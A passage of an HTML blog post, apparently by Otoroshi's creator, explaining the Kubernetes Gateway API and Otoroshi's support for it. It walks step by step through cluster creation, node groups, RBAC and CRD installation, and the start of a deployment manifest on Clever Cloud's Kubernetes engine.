&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;8080&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This role-based model is a significant improvement. Cluster operators control the Gateway (which hostnames are allowed, which namespaces can attach routes), while application developers control their own HTTPRoute resources without needing cluster-level privileges. Cross-namespace references are supported with explicit grants via &lt;code&gt;ReferenceGrant&lt;/code&gt; resources.&lt;/p&gt;
&lt;p&gt;The Gateway API also brings first-class support for traffic splitting (weighted backends for canary deployments), header manipulation, redirects, URL rewrites, and a proper extension mechanism through custom filter types — all without resorting to controller-specific annotations.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;meet-otoroshi&quot;&gt;Meet Otoroshi&lt;/h2&gt;
&lt;p&gt;Before we dive into the hands-on setup, let me introduce the main character of this story: &lt;a href=&quot;https://maif.github.io/otoroshi/manual/index.html&quot;&gt;Otoroshi&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Otoroshi is an open-source reverse proxy and API gateway that I originally created in 2017, while working as a contractor at &lt;a href=&quot;https://www.maif.fr/&quot;&gt;MAIF&lt;/a&gt;, a large French insurance company. MAIF had just migrated to the Clever Cloud platform and needed a unified solution for securing and managing API traffic across their diverse application landscape — without imposing specific libraries or frameworks on their development teams. The project has since grown well beyond its original scope, and I still lead it today as core maintainer and project lead, under the Cloud APIM umbrella.&lt;/p&gt;
&lt;p&gt;The philosophy behind Otoroshi is summarized in five principles: technology agnostic, HTTP-first, API-first (the web UI is just another API client), security-focused, and event-driven. It’s designed to be the single entry point for all HTTP traffic to your applications, regardless of where those applications are hosted or what language they’re written in.&lt;/p&gt;
&lt;h3 id=&quot;what-can-otoroshi-do&quot;&gt;What Can Otoroshi Do?&lt;/h3&gt;
&lt;p&gt;The feature list is substantial. On the traffic management side: load balancing with multiple strategies (round robin, sticky sessions, least connections, best response time), distributed rate limiting, traffic mirroring, canary deployments, and relay routing across network zones.&lt;/p&gt;
&lt;p&gt;On the security side: a built-in Web Application Firewall powered by Coraza with OWASP Core Rule Sets, IP blocklists with CIDR support, geolocation-based access control, API key management with quotas, JWT validation (including JWE), OAuth 2.0/2.1 with PKCE, OIDC, LDAP, SAML V2, and even WebAuthn/FIDO2 support.&lt;/p&gt;
&lt;p&gt;For observability: native Prometheus metrics, OpenTelemetry (OTLP) traces, Datadog, StatsD, Kafka event streaming, and more.&lt;/p&gt;
&lt;p&gt;And it supports HTTP/1.1, HTTP/2, HTTP/3, WebSocket, TCP, and gRPC — including a next-generation Netty-based server backend for the most demanding workloads.&lt;/p&gt;
&lt;h3 id=&quot;otoroshi-in-kubernetes&quot;&gt;Otoroshi in Kubernetes&lt;/h3&gt;
&lt;p&gt;Otoroshi has had &lt;a href=&quot;https://maif.github.io/otoroshi/manual/deploy/kubernetes.html&quot;&gt;native Kubernetes integration since version 1.5.0&lt;/a&gt;. In Kubernetes mode, Otoroshi runs as an Ingress controller and can operate through multiple mechanisms:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Standard Ingress controller&lt;/strong&gt;: Watches &lt;code&gt;Ingress&lt;/code&gt; resources and creates corresponding routes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Custom Resource Definitions (CRDs)&lt;/strong&gt;: A rich set of 23+ custom resources that let you configure every aspect of Otoroshi natively through Kubernetes manifests — routes, backends, certificates, API keys, JWT verifiers, auth modules, and more&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Secret synchronization&lt;/strong&gt;: Kubernetes TLS secrets are automatically synced as Otoroshi certificates&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The Otoroshi controller runs as a background job inside the Otoroshi process itself, polling/watching the Kubernetes API and reconciling the desired state with the current routing configuration. No separate controller deployment needed.&lt;/p&gt;
&lt;p&gt;One important note from the docs: running Otoroshi &lt;em&gt;behind&lt;/em&gt; an existing ingress controller is explicitly not recommended. It degrades TCP proxying capabilities, TLS, mTLS, and adds unnecessary latency. Otoroshi should be your outermost entry point.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;otoroshi-meets-the-gateway-api&quot;&gt;Otoroshi Meets the Gateway API&lt;/h2&gt;
&lt;p&gt;Here’s where things get exciting. Starting with &lt;strong&gt;version 17.13.0&lt;/strong&gt;, Otoroshi implements the &lt;a href=&quot;https://maif.github.io/otoroshi/manual/topics/kubernetes-gateway-api.html&quot;&gt;Kubernetes Gateway API specification&lt;/a&gt;. It was something I’d been wanting to tackle for a while, and the Gateway API spec having reached GA felt like the right moment for me to finally do it properly.&lt;/p&gt;
&lt;p&gt;The feature is labeled experimental in the current docs, but it’s fully functional for core use cases: Gateway, HTTPRoute, and GRPCRoute support. The implementation follows an interesting architecture choice: rather than dynamically provisioning new listeners on demand (which would require significant cluster privileges and complexity), Otoroshi validates that Gateway listeners match its already-running HTTP/HTTPS ports, then uses the routes to build its routing table.&lt;/p&gt;
&lt;p&gt;The reconciliation flow works like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Otoroshi fetches all Gateway API resources from the Kubernetes API server&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It validates &lt;code&gt;GatewayClass&lt;/code&gt; resources that reference its controller name&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It resolves TLS certificates from referenced Kubernetes Secrets&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It validates &lt;code&gt;Gateway&lt;/code&gt; listeners against its configured ports&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It converts &lt;code&gt;HTTPRoute&lt;/code&gt; and &lt;code&gt;GRPCRoute&lt;/code&gt; objects into native &lt;code&gt;NgRoute&lt;/code&gt; entities&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It saves the routes and cleans up any orphaned entries from previous reconciliation cycles&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;All generated routes are tagged with &lt;code&gt;otoroshi-provider: kubernetes-gateway-api&lt;/code&gt;, making them easy to identify and query.&lt;/p&gt;
&lt;p&gt;The Gateway API controller is activated by running the &lt;code&gt;KubernetesGatewayApiControllerJob&lt;/code&gt; as a background job in Otoroshi’s configuration. Let’s see exactly how to set all of this up.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;building-it-end-to-end-setup-on-clever-cloud&quot;&gt;Building It: End-to-End Setup on Clever Cloud&lt;/h2&gt;
&lt;p&gt;Let me walk you through exactly what I did that afternoon. We’re going to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Provision a Kubernetes cluster on CKE&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add worker nodes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Deploy Otoroshi with Gateway API support enabled&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Install the Gateway API CRDs&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Deploy a demo application&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Route traffic to it through the Gateway API&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Test that everything works&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Before diving into the steps, here’s a bird’s eye view of what we’re building. Two planes coexist: the &lt;strong&gt;control plane&lt;/strong&gt; (dashed arrows), where Otoroshi watches Kubernetes API resources and reconciles them into live routes, and the &lt;strong&gt;data plane&lt;/strong&gt; (solid arrows), where actual HTTP traffic flows from the outside world to the application pods.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 1823px) 1823px, 100vw&quot; width=&quot;1823&quot; height=&quot;2994&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-a7d0ba.Xy6MqJ_z_cAQge.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-a7d0ba.Xy6MqJ_z_poUSS.webp 640w, https://blog.cloud-apim.com/_astro/01-a7d0ba.Xy6MqJ_z_Z2tPLXY.webp 750w, https://blog.cloud-apim.com/_astro/01-a7d0ba.Xy6MqJ_z_VkG9I.webp 828w, https://blog.cloud-apim.com/_astro/01-a7d0ba.Xy6MqJ_z_Z2tn6ci.webp 1080w, https://blog.cloud-apim.com/_astro/01-a7d0ba.Xy6MqJ_z_12tF50.webp 1280w, https://blog.cloud-apim.com/_astro/01-a7d0ba.Xy6MqJ_z_z4q81.webp 1668w, https://blog.cloud-apim.com/_astro/01-a7d0ba.Xy6MqJ_z_cAQge.webp 1823w&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;/h3&gt;
&lt;p&gt;You’ll need:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;A &lt;a href=&quot;https://www.clever.cloud/&quot;&gt;Clever Cloud&lt;/a&gt; account&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The &lt;code&gt;clever&lt;/code&gt; CLI installed and authenticated (&lt;code&gt;npm install -g clever-tools&lt;/code&gt; or download from the releases page)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;kubectl&lt;/code&gt; installed&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Important — CKE is currently in private access.&lt;/strong&gt; I tested this setup while Clever Kubernetes Engine was available to selected users only. &lt;strong&gt;Starting next week (&lt;strong&gt;April 27, 2026&lt;/strong&gt;), CKE enters public beta&lt;/strong&gt;, making access much wider for Clever Cloud users. Once enabled for your organization, the rest of this guide applies as-is.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;step-1-enable-kubernetes-on-your-clever-cloud-organization&quot;&gt;Step 1: Enable Kubernetes on Your Clever Cloud Organization&lt;/h3&gt;
&lt;p&gt;Once CKE is unlocked for your organization, you need to enable the Kubernetes feature via the CLI:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;clever&lt;/span&gt;&lt;span&gt; features&lt;/span&gt;&lt;span&gt; enable&lt;/span&gt;&lt;span&gt; k8s&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can list existing clusters with:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;clever&lt;/span&gt;&lt;span&gt; k8s&lt;/span&gt;&lt;span&gt; list&lt;/span&gt;&lt;span&gt; --org&lt;/span&gt;&lt;span&gt; xxx&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;step-2-create-your-cluster&quot;&gt;Step 2: Create Your Cluster&lt;/h3&gt;
&lt;p&gt;Creating a new cluster is a single command. The &lt;code&gt;--watch&lt;/code&gt; flag keeps the CLI running and shows you progress as the control plane comes up — which is a nice touch when you’re sitting there wondering if something went wrong.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;clever&lt;/span&gt;&lt;span&gt; k8s&lt;/span&gt;&lt;span&gt; create&lt;/span&gt;&lt;span&gt; gateway-api-demo&lt;/span&gt;&lt;span&gt; --org&lt;/span&gt;&lt;span&gt; xxx&lt;/span&gt;&lt;span&gt; --watch&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After a few minutes, you’ll have a running cluster.&lt;/p&gt;
&lt;p&gt;You can try the &lt;code&gt;list&lt;/code&gt; again. The output shows you the cluster status and eventually confirms that the control plane is ready.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;clever&lt;/span&gt;&lt;span&gt; k8s&lt;/span&gt;&lt;span&gt; list&lt;/span&gt;&lt;span&gt; --org&lt;/span&gt;&lt;span&gt; xxx&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 648px) 648px, 100vw&quot; width=&quot;648&quot; height=&quot;61&quot; src=&quot;https://blog.cloud-apim.com/_astro/02-338f05.R6Ef-bee_Z1PsCVQ.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/02-338f05.R6Ef-bee_1IK5bN.webp 640w, https://blog.cloud-apim.com/_astro/02-338f05.R6Ef-bee_Z1PsCVQ.webp 648w&quot;&gt;&lt;/p&gt;
&lt;p&gt;You can also notice that a new item has been added to your Clever Cloud Console&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 1028px) 1028px, 100vw&quot; width=&quot;1028&quot; height=&quot;537&quot; src=&quot;https://blog.cloud-apim.com/_astro/03-05ac04.CHDHHxNK_Z1u3Tkr.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/03-05ac04.CHDHHxNK_1yG6sR.webp 640w, https://blog.cloud-apim.com/_astro/03-05ac04.CHDHHxNK_Z1rJxjD.webp 750w, https://blog.cloud-apim.com/_astro/03-05ac04.CHDHHxNK_5e0MV.webp 828w, https://blog.cloud-apim.com/_astro/03-05ac04.CHDHHxNK_Z1u3Tkr.webp 1028w&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;step-3-grab-your-kubeconfig&quot;&gt;Step 3: Grab Your kubeconfig&lt;/h3&gt;
&lt;p&gt;Once the cluster is ready, download the kubeconfig file:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;clever&lt;/span&gt;&lt;span&gt; k8s&lt;/span&gt;&lt;span&gt; get-kubeconfig&lt;/span&gt;&lt;span&gt; gateway-api-demo&lt;/span&gt;&lt;span&gt; --org&lt;/span&gt;&lt;span&gt; xxx&lt;/span&gt;&lt;span&gt; &gt;&lt;/span&gt;&lt;span&gt; kubeconfig.yaml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then point &lt;code&gt;kubectl&lt;/code&gt; at it:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;export&lt;/span&gt;&lt;span&gt; KUBECONFIG&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;$(&lt;/span&gt;&lt;span&gt;pwd&lt;/span&gt;&lt;span&gt;)/kubeconfig.yaml&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or if you prefer, drop that export into a &lt;code&gt;config.sh&lt;/code&gt; file and &lt;code&gt;source&lt;/code&gt; it:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;source&lt;/span&gt;&lt;span&gt; config.sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s verify we can talk to the cluster:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; nodes&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At this point, you’ll likely see only the control plane node or nothing at all — we haven’t added any worker nodes yet.&lt;/p&gt;
&lt;h3 id=&quot;step-4-add-worker-nodes&quot;&gt;Step 4: Add Worker Nodes&lt;/h3&gt;
&lt;p&gt;By default, a CKE cluster starts with a control plane but no worker nodes. We need to create a &lt;code&gt;NodeGroup&lt;/code&gt; — Clever Cloud’s abstraction for a group of compute nodes with a given flavor (CPU/memory profile) and count.&lt;/p&gt;
&lt;p&gt;Here’s the manifest I used (&lt;code&gt;manifests/nodegroup.yaml&lt;/code&gt;):&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;api.clever-cloud.com/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;NodeGroup&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway-api-demo-nodegroup&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  flavor&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;M&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  nodeCount&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;M&lt;/code&gt; flavor gives you a solid amount of CPU and RAM for running Otoroshi comfortably. I went with 2 nodes because I wanted room to experiment without hitting resource constraints.&lt;/p&gt;
&lt;p&gt;Apply it:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; create&lt;/span&gt;&lt;span&gt; -f&lt;/span&gt;&lt;span&gt; ./manifests/nodegroup.yaml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now watch the nodes come up:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; nodes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; nodegroups&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 642px) 642px, 100vw&quot; width=&quot;642&quot; height=&quot;42&quot; src=&quot;https://blog.cloud-apim.com/_astro/04-98c48e.CK6zE6IG_16SDCi.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/04-98c48e.CK6zE6IG_16KveU.webp 640w, https://blog.cloud-apim.com/_astro/04-98c48e.CK6zE6IG_16SDCi.webp 642w&quot;&gt;&lt;/p&gt;
&lt;p&gt;You’ll see the nodes join the cluster one by one. Give it a few minutes. Once you see all 2 nodes in &lt;code&gt;Ready&lt;/code&gt; state, you’re set to proceed.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 484px) 484px, 100vw&quot; width=&quot;484&quot; height=&quot;58&quot; src=&quot;https://blog.cloud-apim.com/_astro/05-2f8547.D_-OtzKG_1qsVug.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/05-2f8547.D_-OtzKG_1qsVug.webp 484w&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Pro tip&lt;/strong&gt;: If you later decide you need more capacity, you can scale the node group without recreating it:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;shell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; scale&lt;/span&gt;&lt;span&gt; nodegroup&lt;/span&gt;&lt;span&gt; gateway-api-demo-nodegroup&lt;/span&gt;&lt;span&gt; --replicas=4&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;step-5-install-otoroshis-rbac-rules-and-crds-for-gateway-api&quot;&gt;Step 5: Install Otoroshi’s RBAC Rules and CRDs for Gateway API&lt;/h3&gt;
&lt;p&gt;Otoroshi needs specific RBAC permissions to watch and update Gateway API resources — particularly &lt;code&gt;gatewayclasses&lt;/code&gt;, &lt;code&gt;gateways&lt;/code&gt;, &lt;code&gt;httproutes&lt;/code&gt;, &lt;code&gt;grpcroutes&lt;/code&gt;, &lt;code&gt;referencegrants&lt;/code&gt;, &lt;code&gt;backendtlspolicies&lt;/code&gt;, and the corresponding &lt;code&gt;/status&lt;/code&gt; subresources.&lt;/p&gt;
&lt;p&gt;The Otoroshi project provides a ready-made RBAC manifest specifically for the Gateway API integration:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; apply&lt;/span&gt;&lt;span&gt; -f&lt;/span&gt;&lt;span&gt; &apos;https://raw.githubusercontent.com/MAIF/otoroshi/refs/heads/master/kubernetes/gateway-api/rbac-gateway.yaml&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And the Otoroshi Custom Resource Definitions:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; apply&lt;/span&gt;&lt;span&gt; -f&lt;/span&gt;&lt;span&gt; &apos;https://raw.githubusercontent.com/MAIF/otoroshi/refs/heads/master/kubernetes/gateway-api/crds-gateway.yaml&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These CRDs let you configure Otoroshi-native resources (routes, backends, API keys, etc.) through Kubernetes manifests. Even though we’re focusing on the Gateway API today, having these installed gives you the full Otoroshi Kubernetes integration.&lt;/p&gt;
&lt;h3 id=&quot;step-6-deploy-otoroshi&quot;&gt;Step 6: Deploy Otoroshi&lt;/h3&gt;
&lt;p&gt;This is the meaty part. Let me walk you through the deployment manifest in detail, because there are several important settings here.&lt;/p&gt;
&lt;p&gt;Full manifest (&lt;code&gt;manifests/otoroshi.yaml&lt;/code&gt;):&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Namespace&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ServiceAccount&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-admin-user&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;rbac.authorization.k8s.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ClusterRoleBinding&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-admin-user&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;roleRef&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  apiGroup&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;rbac.authorization.k8s.io&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ClusterRole&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-admin-user&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;subjects&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ServiceAccount&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-admin-user&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;apps/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Deployment&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
